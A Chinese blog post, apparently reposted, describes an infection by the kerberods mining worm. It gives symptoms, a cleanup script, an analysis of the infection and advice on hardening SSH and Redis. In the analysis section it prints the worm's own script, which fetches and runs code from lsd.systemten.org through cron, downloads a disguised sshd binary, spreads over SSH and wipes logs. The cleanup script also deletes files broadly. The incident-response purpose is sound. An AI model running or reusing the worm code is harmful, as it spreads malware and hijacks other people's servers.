我的天，我的Linux服务器感染了kerberods病毒！

作者: 4d11ff5df74e | 来源:发表于2020-04-17 20:40 被阅读0次

timg.jpg

一、症状及表现

1、CPU使用率异常，top命令显示CPU统计数数据均为0，利用busybox 查看CPU占用率之后，发现CPU被大量占用。

注：ls top ps等命令已经被病毒的动态链接库劫持，无法正常使用，大家需要下载busybox。

image

2、crontab 定时任务异常，存在以下内容；

image

3、后期病毒变异，劫持sshd，导致远程登陆失败，偶尔还会跳出定时任务失败，收到新邮件等问题

image

4、存在异常文件、异常进程以及异常开机项

image

二、查杀方法

1、断网，停止定时任务服务；

2、查杀病毒主程序，以及保护病毒的其他进程；

3、恢复被劫持的动态链接库和开机服务；

4、重启服务器和服务；

附查杀脚本(根据情况修改)

（脚本参考（https://blog.csdn.net/u010457406/article/details/89328869））

#!/bin/bash
#可以重复执行几次，防止互相拉起导致删除失败
function installBusyBox(){
    #参考第一段
    busybox|grep BusyBox |grep v
}
function banHosts(){
    #删除免密认证，防止继续通过ssh进行扩散，后续需自行恢复，可不执行
    busybox echo "" > /root/.ssh/authorized_keys
    busybox echo "" > /root/.ssh/id_rsa
    busybox echo "" > /root/.ssh/id_rsa.pub
    busybox echo "" > /root/.ssh/known_hosts
    #busybox echo "" > /root/.ssh/auth
    #iptables -I INPUT -p tcp --dport 445 -j DROP
    busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org" >> /etc/hosts
}
function fixCron(){
    #修复crontab
    busybox chattr -i  /etc/cron.d/root  2>/dev/null
    busybox rm -f /etc/cron.d/root
    busybox chattr -i /var/spool/cron/root  2>/dev/null
    busybox rm -f /var/spool/cron/root
    busybox chattr -i /var/spool/cron/tomcat  2>/dev/null
    busybox rm -f /var/spool/cron/tomcat
    busybox chattr -i /var/spool/cron/crontabs/root  2>/dev/null
    busybox rm -f /var/spool/cron/crontabs/root
    busybox rm -rf /var/spool/cron/tmp.*
    busybox rm -rf /var/spool/cron/crontabs
    busybox touch /var/spool/cron/root
    busybox chattr +i /var/spool/cron/root
}
function killProcess(){
    #修复异常进程
    #busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    #busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    #busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    #busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    #busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
    busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/kauditds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    busybox rm -f /tmp/khugepageds
    busybox rm -f /tmp/migrationds 
    busybox rm -f /tmp/sshd 
    busybox rm -f /tmp/kauditds
    busybox rm -f /tmp/migrationds
    busybox rm -f /usr/sbin/sshd
    busybox rm -f /usr/sbin/kerberods
    busybox rm -f /usr/sbin/kthrotlds
    busybox rm -f /usr/sbin/kintegrityds
    busybox rm -f /usr/sbin/kpsmouseds
    busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
}
function clearLib(){
    #修复动态库
    busybox chattr -i /etc/ld.so.preload
    busybox rm -f /etc/ld.so.preload
    busybox rm -f /usr/local/lib/libcryptod.so
    busybox rm -f /usr/local/lib/libcset.so
    busybox chattr -i /etc/ld.so.preload 2>/dev/null
    busybox chattr -i /usr/local/lib/libcryptod.so  2>/dev/null
    busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
    busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
    busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
    busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
    busybox rm -f /etc/ld.so.cache
    busybox rm -f /etc/ld.so.preload
    busybox rm -f /usr/local/lib/libcryptod.so
    busybox rm -f /usr/local/lib/libcset.so
    busybox rm -rf /usr/local/lib/libdevmapped.so
    busybox rm -rf /usr/local/lib/libpamcd.so 
    busybox rm -rf /usr/local/lib/libdevmapped.so
    busybox touch /etc/ld.so.preload
    busybox chattr +i /etc/ld.so.preload
    ldconfig
}
function clearInit(){
    #修复异常开机项
    #chkconfig netdns off 2>/dev/null
    #chkconfig –del netdns 2>/dev/null
    #systemctl disable netdns 2>/dev/null
    busybox rm -f /etc/rc.d/init.d/kerberods
    busybox rm -f /etc/init.d/netdns
    busybox rm -f /etc/rc.d/init.d/kthrotlds
    busybox rm -f /etc/rc.d/init.d/kpsmouseds
    busybox rm -f /etc/rc.d/init.d/kintegrityds
    busybox rm -f /etc/rc3.d/S99netdns
    #chkconfig watchdogs off 2>/dev/null
    #chkconfig --del watchdogs 2>/dev/null
    #chkconfig --del kworker 2>/dev/null
    #chkconfig --del netdns 2>/dev/null
}
function recoverOk(){
    service crond start
    busybox sleep 3
    busybox chattr -i /var/spool/cron/root
    # 将杀毒进程加入到定时任务中，多次杀毒
    echo "*/10 * * * * /root/kerberods_kill.sh" | crontab -
    # 恢复被劫持的sshd 服务
    #busybox cp ~/sshd_new /usr/sbin/sshd 
    #service sshd restart 
    echo "OK,BETTER REBOOT YOUR DEVICE"
}
#先停止crontab服务
echo "1| stop crondtab service!"
service crond stop
#防止病毒继续扩散
echo "2| banHosts!"
banHosts
#清除lib劫持
echo "3| clearLib!"
clearLib
#修复crontab
echo "4| fixCron!"
fixCron
#清理病毒进程
echo "5| killProcess!"
killProcess
#删除异常开机项
echo "6| clearInit! "
clearInit
#重启服务和系统
echo "7| recover!"
recoverOk

查杀完成以后重启服务器，发现过段时间，登陆主机，无论本地还是ssh远程登陆，依然会有病毒进程被拉起，观察top里面的进程，并用pstree 回溯进程之间的关系，发现每次用户登陆就会有病毒进程被拉起，怀疑登陆时加载文件存在问题，逐个排查下列文件：

/etc/profile，
~/.profile，
~/.bash_login，
~/.bash_profile，
~/.bashrc，
/etc/bashrc；

最后终于发现/etc/bashrc 文件被加入了一些似曾相识的语句

image

删除并次查杀病毒（重复之前查杀步骤），重启服务器，观察一段时间后不再有病毒程序被拉起，至此病毒被查杀完全。

三、病毒分析

1、感染路径

攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。
第一台感染的机器会读取known_hosts文件，遍历ssh登录，如果是做了免密登录认证，则将直接进行横向传播。

2、病毒主要模块

主恶意程序：kerberods
恶意Hook库：libcryptod.so libcryptod.c
挖矿程序：khugepageds
恶意脚本文件：netdns (用作kerberods的启停等管理)
恶意程序：sshd （劫持sshd服务，每次登陆均可拉起病毒进程）

3、执行顺序

① 执行恶意脚本下载命令

image

② 主进程操作

1> 添加至开机启动，以及/etc/bashrc

2> 生成了sshd文件劫持sshd服务

3> 将netdns文件设置为开机启动

4> 编译libcryptod.c为/usr/local/lib/libcryptod.so

5> 预加载动态链接库，恶意hook关键系统操作函数

6> 修改/etc/cron.d/root文件，增加定时任务

7> 拉起khugepageds挖矿进程

附病毒恶意进程代码

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
chmod 1777 /tmp
echo "* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh" | crontab -
ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "axgtbc"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "axgtfa"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
    chattr -i sshd
    rm -rf sshd
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -O sshd) && chmod +x sshd
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -O sshd) && chmod +x sshd
    fi
        $(pwd)/sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || ./sshd || /tmp/sshd || /usr/local/sbin/sshd
fi
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi
for file in /home/*
do
    if test -d $file
    then
        if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
            for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
        fi
    fi
done
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

四、安全防护

1.SSH

① 谨慎做免密登录

② 尽量不使用默认的22端口

③ 增强root密码强度

2.Redis

① 增加授权认证(requirepass参数)

② 尽量使用docker版本(docker pull redis)

③ 隐藏重要的命令

转载于：https://mp.weixin.qq.com/s/oJbmB4OqdhuT4yn4lKnrug

我的天，我的Linux服务器感染了kerberods病毒！

一、症状及表现

二、查杀方法

三、病毒分析

1、感染路径

2、病毒主要模块

3、执行顺序

四、安全防护

1.SSH

2.Redis

相关文章

网友评论

延伸阅读

深度阅读

栏目导航

热点阅读

Java